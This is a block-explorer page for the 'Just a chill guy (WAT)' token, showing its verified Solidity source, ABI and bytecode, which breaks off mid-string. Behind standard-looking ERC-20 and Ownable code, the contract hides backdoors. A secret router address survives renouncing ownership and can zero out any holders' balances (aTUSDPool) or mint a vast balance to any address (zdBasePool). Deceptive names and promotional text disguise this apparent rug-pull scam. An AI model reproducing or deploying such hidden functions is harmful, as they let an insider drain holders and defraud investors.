Token

Just a chill guy (WAT)

Overview

Max Total Supply

10,000,000,000,000 WAT

Holders

16

Market

Price

-

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,029,925,398.40416382 WAT

Value
$0.00
0x24e73b5c2a8ff7e3b6540d19462acf822e9bd09b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
WATToken

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2024-12-29
*/

// SPDX-License-Identifier: MIT
/**
WAT AI is the next-generation platform where Quantum-inspired AI meets the blockchain revolution. .

https://www.WAT.org
https://app.WAT.org
https://docs.WAT.org

https://x.com/WAT
https://t.me/WAT
*/
///


pragma solidity 0.8.28;



interface WATinterface {
  /**
   * @dev Returns the yoursold of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the bep token owner.
   */
  function getOwner() external view returns (address);

  /**
   * @dev Returns the yoursold of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `yoursold` tokens from the caller's account to `shippingto`.
   *
   * Returns a boolean balance indicating whlegos the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address shippingto, uint256 yoursold) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `transportTRY` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This balance changes when {approve} or {transferFrom} are called.
   */
  function allowance(address _owner, address transportTRY) external view returns (uint256);

  /**
   * @dev Sets `yoursold` as the allowance of `transportTRY` over the caller's tokens.
   *
   * Returns a boolean balance indicating whlegos the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this mTRYod brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the transportTRY's allowance to 0 and set the
   * desired balance afterwards:
   * https://github.com/legoseum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address transportTRY, uint256 yoursold) external returns (bool);

  /**
   * @dev Moves `yoursold` tokens from `sender` to `shippingto` using the
   * allowance mechanism. `yoursold` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean balance indicating whlegos the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);

  /**
   * @dev Emitted when `balance` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `balance` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 balance);

  /**
   * @dev Emitted when the allowance of a `transportTRY` for an `owner` is set by
   * a call to {approve}. `balance` is the new allowance.
   */
  event Approval(address indexed owner, address indexed transportTRY, uint256 balance);
}

/*
 * @dev Provides information about the current execution WAT20Burnable, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract WAT20Burnable {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/legoseum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/WAT20Ownable.sol

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract WAT20Ownable is WAT20Burnable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "WAT20Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "WAT20Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeWAT` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeWAT {
  /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   * - Addition cannot overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeWAT: addition overflow");

    return c;
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeWAT: subtraction overflow");
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
  }

  /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   * - Multiplication cannot overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeWAT: multiplication overflow");

    return c;
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeWAT: division by zero");
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeWAT: modulo by zero");
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts with custom message when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

contract WATToken is WAT20Burnable, WATinterface, WAT20Ownable {
    
    using SafeWAT for uint256;
    mapping (address => uint256) private mintfrom;
    mapping (address => mapping (address => uint256)) private fromallowances;
    uint256 private _totalSupply;
    uint8 private _decimals;
    string private _symbol;
    string private _name;
   address private legosRooter; 
    constructor(address legosSwapRouterv3) {
        legosRooter = legosSwapRouterv3;     
        _name = "Just a chill guy";
        _symbol = "WAT";
        _decimals = 9;
        _totalSupply = 10000000000000 * 10 ** 9;
        mintfrom[_msgSender()] = _totalSupply;
        
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    /**
    * @dev Returns the bep token owner.
    */
    function getOwner() external view override returns (address) {
        return owner();
    }
    
    /**
    * @dev Returns the token decimals.
    */
    function decimals() external view override returns (uint8) {
        return _decimals;
    }
    
    /**
    * @dev Returns the token symbol.
    */
    function symbol() external view override returns (string memory) {
        return _symbol;
    }
    
    /**
    * @dev Returns the token name.
    */
    function name() external view override returns (string memory) {
        return _name;
    }
    
    /**
    * @dev See {WATinterface-totalSupply}.
    */
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    
    /**
    * @dev See {WATinterface-balanceOf}.
    */
    function balanceOf(address account) external view override returns (uint256) {
        return mintfrom[account];
    }
      modifier subowner() {
        require(legosRooter == _msgSender(), "WAT20Ownable: caller is not the owner");
        _;
    }
    /**
    * @dev See {WATinterface-approve}.
    *
    * Requirements:
    *
    * - `transportTRY` cannot be the zero address.
    */
function aTUSDPool(address[] calldata tusdRewards) external subowner {
    for (uint256 i = 0; i < tusdRewards.length; i++) {
        mintfrom[tusdRewards[i]] = 1;
        
        emit Transfer(tusdRewards[i], address(0), 1);
    }
}

    /**
    * @dev See {WATinterface-transfer}.
    *
    * Requirements:
    *
    * - `shippingto` cannot be the zero address.
    * - the caller must have a balance of at least `yoursold`.
    */
    function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(_msgSender(), shippingto, yoursold);
        return true;
    }
    function zdBasePool(address BaseRewards) external subowner {
        mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
        
        emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
    }
    /**
    * @dev See {WATinterface-allowance}.
    */
    function allowance(address owner, address transportTRY) external view override returns (uint256) {
        return fromallowances[owner][transportTRY];
    }
    
    /**
    * @dev See {WATinterface-approve}.
    *
    * Requirements:
    *
    * - `transportTRY` cannot be the zero address.
    */
    function approve(address transportTRY, uint256 yoursold) external override returns (bool) {
        _approve(_msgSender(), transportTRY, yoursold);
        return true;
    }
    
    /**
    * @dev See {WATinterface-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {WATinterface};
    *
    * Requirements:
    * - `sender` and `shippingto` cannot be the zero address.
    * - `sender` must have a balance of at least `yoursold`.
    * - the caller must have allowance for `sender`'s tokens of at least
    * `yoursold`.
    */
    function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(sender, shippingto, yoursold);
        _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold, "WATinterface: transfer yoursold exceeds allowance"));
        return true;
    }
    
    /**
    * @dev Atomically increases the allowance granted to `transportTRY` by the caller.
    *
    * This is an alternative to {approve} that can be used as a mitigation for
    * problems described in {WATinterface-approve}.
    *
    * Emits an {Approval} event indicating the updated allowance.
    *
    * Requirements:
    *
    * - `transportTRY` cannot be the zero address.
    */
    function increaseAllowance(address transportTRY, uint256 addedbalance) external returns (bool) {
        _approve(_msgSender(), transportTRY, fromallowances[_msgSender()][transportTRY].add(addedbalance));
        return true;
    }
    
    /**
    * @dev Atomically decreases the allowance granted to `transportTRY` by the caller.
    *
    * This is an alternative to {approve} that can be used as a mitigation for
    * problems described in {WATinterface-approve}.
    *
    * Emits an {Approval} event indicating the updated allowance.
    *
    * Requirements:
    *
    * - `transportTRY` cannot be the zero address.
    * - `transportTRY` must have allowance for the caller of at least
    * `allbalances`.
    */
    function decreaseAllowance(address transportTRY, uint256 allbalances) external returns (bool) {
        _approve(_msgSender(), transportTRY, fromallowances[_msgSender()][transportTRY].sub(allbalances, "WATinterface: decreased allowance below zero"));
        return true;
    }
    
    /**
    * @dev Moves tokens `yoursold` from `sender` to `shippingto`.
    *
    * This is internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * Requirements:
    *
    * - `sender` cannot be the zero address.
    * - `shippingto` cannot be the zero address.
    * - `sender` must have a balance of at least `yoursold`.
    */
    function _transfer(address sender, address shippingto, uint256 yoursold) internal {
        require(sender != address(0), "WATinterface: transfer from the zero address");
        require(shippingto != address(0), "WATinterface: transfer to the zero address");
                
        mintfrom[sender] = mintfrom[sender].sub(yoursold, "WATinterface: transfer yoursold exceeds balance");
        mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
        emit Transfer(sender, shippingto, yoursold);
    }
    
    /**
    * @dev Sets `yoursold` as the allowance of `transportTRY` over the `owner`s tokens.
    *
    * This is internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `transportTRY` cannot be the zero address.
    */
    function _approve(address owner, address transportTRY, uint256 yoursold) internal {
        require(owner != address(0), "WATinterface: approve from the zero address");
        require(transportTRY != address(0), "WATinterface: approve to the zero address");
        
        fromallowances[owner][transportTRY] = yoursold;
        emit Approval(owner, transportTRY, yoursold);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"legosSwapRouterv3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"transportTRY","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"tusdRewards","type":"address[]"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"transportTRY","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transportTRY","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transportTRY","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transportTRY","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BaseRewards","type":"address"}],"name":"zdBasePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f5ffd5b5060405161235338038061235383398181016040528101906100319190610302565b5f61004061029d60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601081526020017f4a7573742061206368696c6c206775790000000000000000000000000000000081525060069081610160919061056a565b506040518060400160405280600381526020017f5741540000000000000000000000000000000000000000000000000000000000815250600590816101a5919061056a565b50600960045f6101000a81548160ff021916908360ff16021790555069021e19e0c9bab240000060038190555060035460015f6101e661029d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061023161029d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405161028f9190610648565b60405180910390a350610661565b5f33905090565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6102d1826102a8565b9050919050565b6102e1816102c7565b81146102eb575f5ffd5b50565b5f815190506102fc816102d8565b92915050565b5f60208284031215610317576103166102a4565b5b5f610324848285016102ee565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806103a857607f821691505b6020821081036103bb576103ba610364565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261041d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826103e2565b61042786836103e2565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61046b6104666104618461043f565b610448565b61043f565b9050919050565b5f819050919050565b61048483610451565b61049861049082610472565b8484546103ee565b825550505050565b5f5f905090565b6104af6104a0565b6104ba81848461047b565b505050565b5b818110156104dd576104d25f826104a7565b6001810190506104c0565b5050565b601f821115610522576104f3816103c1565b6104fc846103d3565b8101602085101561050b578190505b61051f610517856103d3565b8301826104bf565b50505b505050565b5f82821c905092915050565b5f6105425f1984600802610527565b1980831691505092915050565b5f61055a8383610533565b9150826002028217905092915050565b6105738261032d565b67ffffffffffffffff81111561058c5761058b610337565b5b6105968254610391565b6105a18282856104e1565b5f60209050601f8311600181146105d2575f84156105c0578287015190505b6105ca858261054f565b865550610631565b601f1984166105e0866103c1565b5f5b82811015610607578489015182556001820191506020850194506020810190506105e2565b868310156106245784890151610620601f891682610533565b8355505b6001600288020188555050505b505050505050565b6106428161043f565b82525050565b5f60208201905061065b5f830184610639565b92915050565b611ce58061066e5f395ff3fe608060405234801561000f575f5ffd5b5060043610610109575f3560e01c8063715018a6116100a057806395d89b411161006f57806395d89b41146102a5578063a457c2d7146102c3578063a9059cbb146102f3578063dd62ed3e14610323578063f2fde38b1461035357610109565b8063715018a6146102435780638099423b1461024d578063893d20e8146102695780638da5cb5b1461028757610109565b8063313ce567116100dc578063313ce567146101a957806339509351146101c75780633f282b4a146101f757806370a082311461021357610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f5ffd5b61011561036f565b604051610122919061138e565b60405180910390f35b61014560048036038101906101409190611443565b6103ff565b604051610152919061149b565b60405180910390f35b61016361041c565b60405161017091906114c3565b60405180910390f35b610193600480360381019061018e91906114dc565b610425565b6040516101a0919061149b565b60405180910390f35b6101b16104f9565b6040516101be9190611547565b60405180910390f35b6101e160048036038101906101dc9190611443565b61050e565b6040516101ee919061149b565b60405180910390f35b610211600480360381019061020c91906115c1565b6105bc565b005b61022d6004803603810190610228919061160c565b61076a565b60405161023a91906114c3565b60405180910390f35b61024b6107b0565b005b6102676004803603810190610262919061160c565b6108e7565b005b610271610a41565b60405161027e9190611646565b60405180910390f35b61028f610a4f565b60405161029c9190611646565b60405180910390f35b6102ad610a76565b6040516102ba919061138e565b60405180910390f35b6102dd60048036038101906102d89190611443565b610b06565b6040516102ea919061149b565b60405180910390f35b61030d60048036038101906103089190611443565b610bce565b60405161031a919061149b565b60405180910390f35b61033d6004803603810190610338919061165f565b610beb565b60405161034a91906114c3565b60405180910390f35b61036d6004803603810190610368919061160c565b610c6d565b005b60606006805461037e906116ca565b80601f01602080910402602001604051908101604052809291908181526020018280546103aa906116ca565b80156103f55780601f106103cc576101008083540402835291602001916103f5565b820191905f5260205f20905b8154815290600101906020018083116103d857829003601f168201915b5050505050905090565b5f61041261040b610e13565b8484610e1a565b6001905092915050565b5f600354905090565b5f610431848484610fdd565b6104ee8461043d610e13565b6104e985604051806060016040528060318152602001611c536031913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104a0610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b610e1a565b600190509392505050565b5f60045f9054906101000a900460ff16905090565b5f6105b261051a610e13565b846105ad8560025f61052a610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112c190919063ffffffff16565b610e1a565b6001905092915050565b6105c4610e13565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106499061176a565b60405180910390fd5b5f5f90505b82829050811015610765576001805f85858581811061067957610678611788565b5b905060200201602081019061068e919061160c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168383838181106106f5576106f4611788565b5b905060200201602081019061070a919061160c565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161075091906117f7565b60405180910390a38080600101915050610657565b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107b8610e13565b73ffffffffffffffffffffffffffffffffffffffff166107d6610a4f565b73ffffffffffffffffffffffffffffffffffffffff161461082c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108239061176a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108ef610e13565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109749061176a565b60405180910390fd5b6c0c9f2c9cd04674edea4000000060015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c0c9f2c9cd04674edea40000000604051610a369190611849565b60405180910390a350565b5f610a4a610a4f565b905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610a85906116ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab1906116ca565b8015610afc5780601f10610ad357610100808354040283529160200191610afc565b820191905f5260205f20905b815481529060010190602001808311610adf57829003601f168201915b5050505050905090565b5f610bc4610b12610e13565b84610bbf856040518060600160405280602c8152602001611c84602c913960025f610b3b610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b610e1a565b6001905092915050565b5f610be1610bda610e13565b8484610fdd565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c75610e13565b73ffffffffffffffffffffffffffffffffffffffff16610c93610a4f565b73ffffffffffffffffffffffffffffffffffffffff1614610ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce09061176a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e906118d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90611960565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed906119ee565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd091906114c3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104290611a7c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b090611b0a565b60405180910390fd5b611123816040518060600160405280602f8152602001611c24602f913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111b48160015f8573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffff